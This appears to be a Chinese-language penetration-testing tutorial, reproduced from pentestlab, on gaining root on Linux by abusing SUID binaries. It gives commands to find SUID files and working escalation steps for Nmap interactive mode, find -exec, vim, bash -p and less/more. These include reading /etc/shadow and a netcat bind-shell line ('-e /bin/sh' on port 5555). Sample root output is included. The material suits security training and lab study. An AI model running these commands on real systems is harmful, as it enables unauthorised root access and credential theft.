0x01 簡介
SUID是Linux的一種權限機制,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。如果擁有SUID權限,那么就可以利用系統中的二進制文件和工具來進行root提權。
已知的可以用來提權的Linux可執行文件有:
Nmap、Vim、find、Bash、More、Less、Nano、cp
下面的命令可以發現所有的系統中運行的SUID可執行文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

上面的所有二進制文件都可以在root權限下運行,因為他們的owner是root,並且他們的權限中含有s。s權限使一般使用者臨時具有該文件所屬主/組的執行權限。所以這里就可以假冒 root 用戶來執行一些高權操作。
0x02 Nmap
早版本的Nmap(2.02到5.21)有交互模式,允許用戶執行shell命令。Nmap也是root權限下運行的二進制文件。通過參數interactive可以進入交互模式:
nmap --interactive
下面的命令可以對shell提權:
nmap> !sh
sh-3.2# whoami
root

Metasploit也有利用SUID Nmap進行提權攻擊:
exploit/unix/local/setuid_nmap
0x03 Find
如果find以SUID權限運行,所有通過find執行的命令都會以root權限運行。
touch pentestlab
find pentestlab -exec whoami \;

主流的Linux操作系統都安裝了netcat,可以將該命令提權為root shell。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

當然除了借助 nc 也可以參考其他工具:[Shell]多姿勢反彈shell
0x04 Vim
如果 vim 以 SUID 運行,就會繼承 root 用戶的權限,可以讀取系統中所有的文件。
vim.tiny /etc/shadow

通過vim運行shell:
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

0x05 Bash
下面的命令可以以root權限打開bash shell:
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
0x06 Less/More
Less 和 more 都可以執行提權的shell
less /etc/passwd
!/bin/sh

0x07 參考鏈接
https://www.freebuf.com/articles/system/149118.html
https://pentestlab.blog/2017/09/25/suid-executables/
